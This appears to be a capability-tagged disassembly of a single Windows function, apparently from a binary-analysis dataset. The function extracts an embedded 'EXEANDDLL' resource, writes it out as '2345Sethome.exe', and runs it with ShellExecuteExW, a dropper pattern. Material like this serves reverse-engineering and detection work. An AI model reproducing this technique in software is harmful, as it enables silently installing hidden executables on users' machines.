Function at 0x42ab90
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x446333
mov eax, dword fs:[0]
push eax
sub esp, 0xd8
mov eax, dword [0x4551b0]
xor eax, esp
mov dword [esp + 0xd4], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4551b0]
xor eax, esp
push eax
lea eax, [esp + 0xec]
mov dword fs:[0], eax
mov eax, dword [esp + 0xfc]
push 0
mov edi, ecx
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42ac2e
push str.EXEANDDLL
push 0x6d
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x42ac2e
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
je 0x42ac2e
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
mov dword [esp + 0x18], esi
je 0x42ac2e
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
test ebp, ebp
jne 0x42ac35
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor al, al
jmp 0x42ae38
mov edx, str.2345Sethome.exe
lea eax, [esp + 0x5c]
call fcn.00402e70
lea ecx, [esp + 0x5c]
push ecx
add edi, 0x24
push edi
lea ecx, [esp + 0x9c]
mov dword [esp + 0xfc], 0
call fcn.0042ecdc
add esp, 8
lea ecx, [esp + 0x5c]
mov byte [esp + 0xf4], 2
call fcn.00401940
cmp dword [esp + 0xac], 8
mov eax, dword [esp + 0x98]
jae 0x42ac8f
lea eax, [esp + 0x98]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x42ae1f
push 0
lea edx, [esp + 0x18]
push edx
push ebx
push ebp
push esi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x14], ebx
jne 0x42ae1f
push edi
lea esi, [esp + 0xb4]
call fcn.00401910
mov bl, 3
mov byte [esp + 0xf4], bl
cmp dword [esp + 0xc4], 0
jne 0x42ad4b
lea eax, [esp + 0x94]
push eax
call fcn.0040cd60
cmp eax, 0xffffffff
je 0x42ad4b
push eax
lea ecx, [esp + 0x98]
push ecx
xor ecx, ecx
lea esi, [esp + 0x80]
call fcn.0040cda0
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0xb8]
mov byte [esp + 0xfc], 4
call fcn.004019a0
mov ecx, esi
mov byte [esp + 0xf4], bl
call fcn.00401940
mov edx, dword [esp + 0x1c]
push edx
mov edx, 0x44d8ac
lea edi, [esp + 0xd0]
call fcn.0040a850
push 0x3c
lea eax, [esp + 0x28]
push 0
push eax
call fcn.00433170
add esp, 0x10
mov dword [esp + 0x20], 0x3c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [esp + 0x28], eax
mov eax, 8
cmp dword [esp + 0xac], eax
mov dword [esp + 0x24], 0x540
jb 0x42ada7
mov ecx, dword [esp + 0x98]
mov dword [esp + 0x30], ecx
jmp 0x42adb2
lea edx, [esp + 0x98]
mov dword [esp + 0x30], edx
cmp dword [esp + 0xc8], eax
jb 0x42adc8
mov ecx, dword [esp + 0xb4]
mov dword [esp + 0x38], ecx
jmp 0x42add3
lea edx, [esp + 0xb4]
mov dword [esp + 0x38], edx
cmp dword [esp + 0xe4], eax
jb 0x42ade9
mov eax, dword [esp + 0xd0]
mov dword [esp + 0x34], eax
jmp 0x42adf4
lea ecx, [esp + 0xd0]
mov dword [esp + 0x34], ecx
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x40], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
lea ecx, [esp + 0xcc]
call fcn.00401940
lea ecx, [esp + 0xb0]
call fcn.00401940
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
lea ecx, [esp + 0x94]
call fcn.00401940
mov al, 1
mov ecx, dword [esp + 0xec]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xd4]
xor ecx, esp
call fcn.00431b07
add esp, 0xe4
ret 4